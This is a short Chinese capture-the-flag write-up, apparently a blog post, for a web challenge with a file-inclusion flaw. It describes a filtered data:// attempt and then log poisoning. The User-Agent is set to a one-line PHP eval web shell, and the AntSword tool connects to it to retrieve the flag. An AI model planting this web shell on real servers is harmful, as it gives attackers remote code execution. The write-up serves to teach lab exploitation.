初态
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/4bdaf35aa27b5c547781d3fad8d6bfa6.png)
只有一个链接
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/7aebbe12f335feaf519cfae064ac4196.png)
点开只有一句话
解题思路
- 啥提示也没,先看源码
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/b01e4a78d986b7398abfc6feac590b6d.png)
第二个里面没信息,第一个页面里面有个file=flag.php,指向的是第二个页面
所以有个file参数,可以考虑是文件包含---->考虑要包含啥
- 没有文件提示,考虑data与日志
data用base64版传入,被检测了
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/99b47c3b0009c6b8af244490bac97bc8.png)
则尝试日志上传
- 日志修改UA
<?php echo'666';@eval($_POST['cmd'])?>
echo一下一会好看出来有没有上传成功
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/890daad7861ad4ddffd103e7af64d0aa.png)
检查一下有没有
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/1ba26df8cf835b993463616e30a693cc.png)
上传成功!~~~
再去用蚁剑找找
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/74757a41b1579e624b96d2b843b60f7f.png)
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/76698695a7d04012cb758fb50aa8a042.png)
打开就有flag文件
网页源码不显示原来是在注释里。。。